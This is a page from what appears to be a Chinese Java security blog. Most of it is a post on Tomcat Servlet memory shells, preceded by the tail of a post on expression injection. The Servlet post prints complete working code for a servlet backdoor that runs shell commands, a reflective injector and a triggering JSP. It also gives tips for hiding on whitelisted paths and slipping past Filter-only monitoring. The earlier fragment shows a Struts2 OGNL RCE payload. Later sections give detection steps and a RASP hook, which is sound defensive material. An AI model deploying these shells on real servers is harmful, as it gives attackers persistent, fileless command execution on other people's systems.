9.3 OGNL(Struts2 / MyBatis)

// Struts2 经典 OGNL RCE(CVE-2017-5638 思路)
// ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(...)}
// (#cmd='id').(#is=new java.io.InputStreamReader(#p.getInputStream()))

9.4 常见表达式对比

表达式 框架 典型注入点
SpEL Spring @Value、parseExpression、注解值
OGNL Struts2、MyBatis 拦截器参数、标签属性
EL JSP / 模板 ${...},一般仅取值
MVEL Drools、部分 CMS eval、execute

9.5 审计手法

grep -rn "parseExpression\|SpelExpressionParser\|@ognl\|getValue()" --include="*.java" .

判断:表达式字符串是否含用户输入;是否用了 StandardEvaluationContext(默认功能全开,危险;应换成 SimpleEvaluationContext)。


总结

把九块串成一条主线,就是 Java 安全研究从”看得懂代码”到”能造链”的路径:

看得懂基础(运行机制 / 字符串 / 流程)
   ↓
摸得清机制(反射 / 序列化 / 类加载)
   ↓
用得起来(JNDI / 动态代理 / 表达式)

最核心的三块:反射、序列化、类加载。反序列化漏洞 = 反射 + 危险落点;内存马 = 反射改注册表 / 字节码;JSP webshell = 类加载 + 编译。把这几个机制吃透,再去读内存马系列、Fastjson 系列、鉴权绕过系列,会顺畅得多。

阅读全文 »

Java代码审计xxx系统

发表于 2025-12-29 | 分类于 代码审计 |

登录认证绕过

阅读全文 »

Tomcat Servlet 内存马

发表于 2025-12-27 | 分类于 漏洞分析 |

Servlet 内存马

Servlet 型内存马通过在 Tomcat 运行时动态注册恶意 Servlet,映射到指定 URL 路径,访问该路径即可触发命令执行。与 Filter 型内存马的区别在于:Servlet 作用于请求处理的末端(Filter 链之后),但同样不需要文件落地。

本质:模拟 createWrapper + addChild + addServletMappingDecoded,把恶意 service 代码 + /shell 路径组装进 children 与 Mapper 路由表,访问该路径即被路由到恶意 Servlet。整体框架见 《内存马原理总纲》。


一、Tomcat Servlet 架构

1.1 Servlet 在 Tomcat 中的位置

HTTP 请求
    ↓
Connector (CoyoteAdapter)
    ↓
Engine → Host → Context
    ↓
Mapper.map() — URL 路由匹配 → Wrapper
    ↓
StandardWrapperValve.invoke()
    ↓
ApplicationFilterChain → Filter 链
    ↓
Wrapper.getServlet().service()  ← 到这里

1.2 核心类关系

ContainerBase (抽象容器)
├── StandardEngine
├── StandardHost
├── StandardContext       → 管理所有 Wrapper
│   └── children: HashMap<String, Container>
│       └── StandardWrapper@/servletA
│       └── StandardWrapper@/servletB
└── StandardWrapper       → 封装单个 Servlet
    ├── servletClass: String
    ├── servletName: String
    ├── instance: Servlet (单例)
    └── instanceSupport: InstanceSupport (生命周期)

关键数据结构:

组件 作用 位置
StandardWrapper 封装一个 Servlet,管理其生命周期 StandardContext.children
ServletMapping URL 路径到 Wrapper 的映射 Context.servletMappings
Mapper 负责请求 URL 的路由分发 Tomcat 全局单例

1.3 Wrapper 的创建与加载

// Tomcat 启动时创建 Wrapper
// StandardContext.createWrapper()
public Wrapper createWrapper() {
    Wrapper wrapper = new StandardWrapper();
    wrapper.setParent(this);
    return wrapper;
}

// 添加子容器(将 Wrapper 注册到 Context)
wrapper.setName("HelloServlet");
wrapper.setServletClass("com.example.HelloServlet");
context.addChild(wrapper);

// 配置 URL 映射
context.addServletMappingDecoded("/hello", "HelloServlet");

二、动态注册原理

核心思路:获取 StandardContext → 创建 StandardWrapper → 设置 Servlet → 添加为子容器 → 配置 URL 映射。

动态注册步骤:

1. 编写恶意 Servlet 类
2. 获取 StandardContext 对象
3. 检查是否已存在同名 Wrapper(防重复)
4. 创建 StandardWrapper 实例
5. 设置 servletName 和 servletClass
6. 调用 context.addChild(wrapper) 注册
7. 调用 context.addServletMappingDecoded() 配置 URL 映射
8. 调用 wrapper.load() 初始化 Servlet(执行 init())

获取 StandardContext 的通用反射链(RequestFacade.request → connector.Request.getContext(),或 ServletContext → ApplicationContext → StandardContext)见 Filter 篇 2.1。

2.1 URL 映射原理

Tomcat 使用 Mapper 组件做 URL → Wrapper 的路由匹配:

请求: /cmd/shell
    ↓
Mapper.map(MessageBytes, MappingData)
    ↓
遍历 Context 的 ServletMappings
    ↓
匹配成功 → MappingData.wrapper = matchedWrapper
    ↓
StandardContextValve → StandardWrapperValve → servlet.service()

Context.addServletMappingDecoded() 会将映射规则注册到内部 Mapper 中,新增的映射立即生效。


三、完整代码实现

3.1 恶意 Servlet 类

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;

public class ServletMemShell extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) 
            throws IOException {
        handleRequest(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) 
            throws IOException {
        handleRequest(req, resp);
    }

    private void handleRequest(HttpServletRequest req, HttpServletResponse resp)
            throws IOException {
        String cmd = req.getParameter("cmd");
        if (cmd != null && !cmd.isEmpty()) {
            try {
                String result = exec(cmd);
                resp.setContentType("text/html;charset=UTF-8");
                resp.getWriter().write("<pre>" + result + "</pre>");
            } catch (Exception e) {
                resp.getWriter().write("Error: " + e.getMessage());
            }
        } else {
            resp.getWriter().write("Servlet Memory Shell Active");
        }
    }

    /**
     * 统一命令执行器(本系列 Filter / Servlet / Listener 三篇通用)
     * - 通过 shell 执行,支持管道、重定向等语法(/bin/sh -c 或 cmd /c)
     * - redirectErrorStream(true):把 stderr 合并进 stdout,避免
     *   "先读 stdout 再读 stderr" 顺序读取时管道写满导致的两端互相阻塞
     * - 字节循环读取而非 Scanner,输出量大时不会阻塞
     */
    private static String exec(String cmd) throws Exception {
        String[] execCmd = System.getProperty("os.name").toLowerCase().contains("windows")
                ? new String[]{"cmd.exe", "/c", cmd}
                : new String[]{"/bin/sh", "-c", cmd};

        Process process = new ProcessBuilder(execCmd).redirectErrorStream(true).start();
        try (ByteArrayOutputStream out = new ByteArrayOutputStream();
             InputStream is = process.getInputStream()) {
            byte[] buf = new byte[4096];
            int len;
            while ((len = is.read(buf)) != -1) {
                out.write(buf, 0, len);
            }
            process.waitFor();
            return out.toString(System.getProperty("sun.jnu.encoding"));
        }
    }
}

3.2 注入器代码

import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardWrapper;
import org.apache.catalina.startup.ContextConfig;
import javax.servlet.Servlet;
import java.lang.reflect.Field;

public class ServletMemShellInjector {

    /**
     * 注入 Servlet 内存马
     * @param context StandardContext 对象
     * @param servletName Servlet 名称
     * @param urlPattern URL 映射路径
     */
    public static void inject(StandardContext context, 
                               String servletName, 
                               String urlPattern) throws Exception {
        
        // Step 1: 检查是否已注入
        if (context.findChild(servletName) != null) {
            System.out.println("[!] Servlet already exists: " + servletName);
            return;
        }

        // Step 2: 创建 Wrapper
        StandardWrapper wrapper = (StandardWrapper) context.createWrapper();
        wrapper.setName(servletName);
        wrapper.setServletClass(ServletMemShell.class.getName());
        // loadOnStartup > 0:addChild() 内部触发 start() 时会立即 loadServlet()
        wrapper.setLoadOnStartup(1);

        // Step 3: 注册为 Context 的子容器
        // addChild() 内部(ContainerBase.addChildInternal)会自动调用 child.start(),
        // 由 loadOnStartup=1 触发 Servlet 实例化
        context.addChild(wrapper);

        // Step 4: 配置 URL 映射(新映射立即写入内部 Mapper,无需重启)
        context.addServletMappingDecoded(urlPattern, servletName);

        // Step 5: 幂等初始化(addChild 已触发 start,此处为防御性写法)
        wrapper.load();
        wrapper.start();
    }

    /**
     * 从 JSP 或反序列化入口调用
     */
    public static void injectFromRequest(javax.servlet.ServletRequest request) 
            throws Exception {
        // 获取 StandardContext
        StandardContext context = getStandardContext(request);
        inject(context, "ServletMemShell", "/cmd/*");
    }

    private static StandardContext getStandardContext(
            javax.servlet.ServletRequest servletRequest) throws Exception {
        Field requestField = servletRequest.getClass().getDeclaredField("request");
        requestField.setAccessible(true);
        org.apache.catalina.connector.Request request = 
            (org.apache.catalina.connector.Request) requestField.get(servletRequest);
        return (StandardContext) request.getContext();
    }
}

3.3 触发注入的 JSP

说明:以下 JSP 引用默认包类 ServletMemShellInjector,为讲解简化(假设恶意类已部署)。真实利用时 JSP 必须自包含——把恶意类内联进 <%! %> 并直接注册(写法见 Valve 篇 3.4),或由反序列化 defineClass 提供类;测试工程已提供自包含版本。

<%@ page import="org.apache.catalina.core.*, org.apache.catalina.connector.Request,
    java.lang.reflect.Field" %>
<%
    try {
        // 获取 StandardContext
        Field reqF = request.getClass().getDeclaredField("request");
        reqF.setAccessible(true);
        Request req = (Request) reqF.get(request);
        StandardContext context = (StandardContext) req.getContext();

        ServletMemShellInjector.inject(context, "ServletMemShell", "/cmd/*");
        
        out.println("Servlet memory shell injected successfully!");
        out.println("Access: /cmd?cmd=whoami");
    } catch (Exception e) {
        out.println("Injection failed: " + e.getMessage());
        e.printStackTrace(new java.io.PrintWriter(out));
    }
%>

四、代码详解

4.1 Wrapper 与 Filter 的核心差异

对比维度 Filter 内存马 Servlet 内存马
执行位置 Servlet 之前(Filter 链中) Filter 链之后(最终处理)
目标对象 StandardContext.filterDefs StandardContext.children
映射方式 FilterMap 数组 servletMappings + Mapper
覆盖范围 /* 匹配所有请求 精确路径匹配
优先级 靠前插入即优先执行 同等优先级(路径匹配)
生命周期 init() → doFilter() → destroy() init() → service() → destroy()

4.2 context.addChild() 做了什么

// ContainerBase.addChildInternal()
private void addChildInternal(Container child) {
    // 1. 添加到 children 集合
    children.put(child.getName(), child);
    
    // 2. 设置父容器
    child.setParent(this);
    
    // 3. 触发 START 事件
    child.start();
    
    // 4. 通知所有监听器
    fireContainerEvent(ADD_CHILD_EVENT, child);
}

当 Wrapper 被添加为 Context 的子容器后,Tomcat 会自动将其纳入生命周期管理。

4.3 URL 路径匹配规则

Tomcat 支持四种 Servlet 映射规则:

映射模式 示例 优先级
精确匹配 /exact/path 最高
路径匹配 /admin/* 次高
扩展名匹配 *.do 第三
默认匹配 / 最低

/cmd/* 属于路径匹配,命中率仅次于精确匹配。

4.4 防重复注入

if (context.findChild(servletName) != null) {
    return; // 同名 Wrapper 已存在
}

通过 context.findChild(name) 检查是否已存在同名子容器,避免重复注册。

4.5 版本兼容性

Tomcat 版本 Servlet 包 说明
8.x / 9.x javax.servlet 本系列代码适用
10.x / 11.x jakarta.servlet 需全局替换包名
  • addChild() + addServletMappingDecoded() 的机制在 Tomcat 8/9/10/11 上一致, 10+ 只需把 javax.servlet 换成 jakarta.servlet。
  • 反射链依赖的字段(RequestFacade.request、connector.Request.response)在不同大版本间相对 稳定,但属于私有字段,字段名变更时注入/回显会失败,实战前需确认目标版本。
  • wrapper.load()/start() 与 addChild() 内部触发的 start() 相比是幂等操作 (LifecycleBase.start() 对已 STARTED 状态直接返回),重复调用无副作用。

五、利用场景

5.1 作为 Filter 的备用通道

// 场景:目标只允许特定路径通过,Filter 被拦截
// 解法:注入 Servlet 到白名单路径
context.addServletMappingDecoded("/public/health", "ServletMemShell");
// 访问:/public/health?cmd=id

5.2 绕过只检查 Filter 的防御

某些安全产品只监控 FilterDef 和 FilterMap 的变化,不检查 Wrapper 容器:

防御产品监控:
  ✅ FilterDef 注册
  ✅ FilterMap 注册
  ❌ Wrapper 注册(盲区)
  ❌ servletMapping 变更(盲区)

5.3 与 Filter 组合使用

请求 → FilterMemShell (记录日志, 放行)
     → ServletMemShell (执行命令, 回显)

Filter 负责隐蔽性(不干扰正常请求),Servlet 负责功能性(命令执行回显)。


六、检测方式

6.1 通过 JMX 检查 Servlet 列表

# 使用 JMX 查看所有已注册的 Servlet
jconsole → MBeans → Catalina → Context → /your-app → children

6.2 Arthas 在线排查

# 查看 StandardContext 的 children
vmtool --action getInstances \
  --className org.apache.catalina.core.StandardContext \
  --express 'instances[0].children' \
  --limit 10

# 搜索可疑 Wrapper
vmtool --action getInstances \
  --className org.apache.catalina.core.StandardWrapper \
  --express 'instances[0].servletClass' \
  --limit 20

# 查看 Servlet 映射(servletMappings 是实例字段,静态 OGNL 语法拿不到,需先拿实例)
vmtool --action getInstances --className org.apache.catalina.core.StandardContext --express 'instances[0].servletMappings' --limit 10

6.3 内存 Dump 分析

# dump 堆内存
jmap -dump:live,format=b,file=servlet.hprof <pid>

# MAT / VisualVM 中搜索
# 1. 列出所有 StandardWrapper 实例
# 2. 检查 servletClass 字段是否为标准类
# 3. 对比基线数据

6.4 基线对比脚本

// 获取当前所有 Servlet 映射
public static Map<String, String> getServletMappings(StandardContext ctx) {
    Map<String, String> mappings = new HashMap<>();
    for (Container child : ctx.findChildren()) {
        if (child instanceof Wrapper) {
            Wrapper w = (Wrapper) child;
            mappings.put(w.getName(), w.getServletClass());
        }
    }
    return mappings;
}
// 与部署时的预期列表对比,找出异常项

七、防御建议

层面 措施 实现方式
运行时 RASP Hook 拦截 ContainerBase.addChild() 调用
运行时 Security Manager 禁止反射访问 StandardContext
监控 JVM Agent 监控 children map 的变更
运维 定期巡检 对比 Servlet 基线
// RASP Hook 示例(教学简化版)
@RuntimeType
public static void onAddChild(@This ContainerBase container,
                               @Argument(0) Container child) {
    if (!(container instanceof StandardContext)) {
        return;
    }
    // 正常启动 / 部署流程会经过 ContextConfig 调用栈,运行时反射注入没有它
    StackTraceElement[] stack = Thread.currentThread().getStackTrace();
    for (StackTraceElement frame : stack) {
        if (frame.getClassName().contains("ContextConfig")) {
            return; // 属于启动 / 部署流程,放行
        }
    }
    // 其余 addChild 调用(如运行时反射注入 Wrapper)→ 告警并阻断
    alert("Detected runtime Servlet injection: " + child.getName());
    throw new SecurityException("Suspicious container modification blocked");
    // 说明:以"调用栈是否含 ContextConfig"做白名单是教学简化;生产环境还需排除
    // Tomcat 热部署、嵌入式容器自身启动等合法场景,建议结合线程名与调用来源综合判断。
    }

八、总结

Servlet 内存马与 Filter 内存马的对比:

特性 Servlet 内存马 Filter 内存马
难度 ⭐⭐ ⭐⭐⭐
隐蔽性 ⭐⭐⭐⭐ ⭐⭐⭐
灵活性 ⭐⭐⭐ ⭐⭐⭐⭐⭐
检测难度 较高 中等

选择建议:

  • 优先 Filter:覆盖范围广,能拦截所有请求,适合需要持续监控的场景
  • 备选 Servlet:更隐蔽(部分监控产品不检查 Wrapper),适合作为备用通道
  • 组合使用:Filter + Servlet 双保险,互为备份
延伸阅读:Tomcat Filter 内存马 Tomcat Listener 内存马 Tomcat Valve 内存马 Java Agent 内存马 Spring 容器内存马 WebSocket 等偏门内存马 Tomcat基础
阅读全文 »
1 2 3 4
江流

江流

人生若只如初见,何事悲风秋画扇。

33 日志
18 分类
107 标签
RSS
GitHub 简书
Creative Commons
© 2019 - 2026 江流
由 Jekyll 强力驱动
主题 - NexT.Mist
本站访问数 人次 本站总访问量 次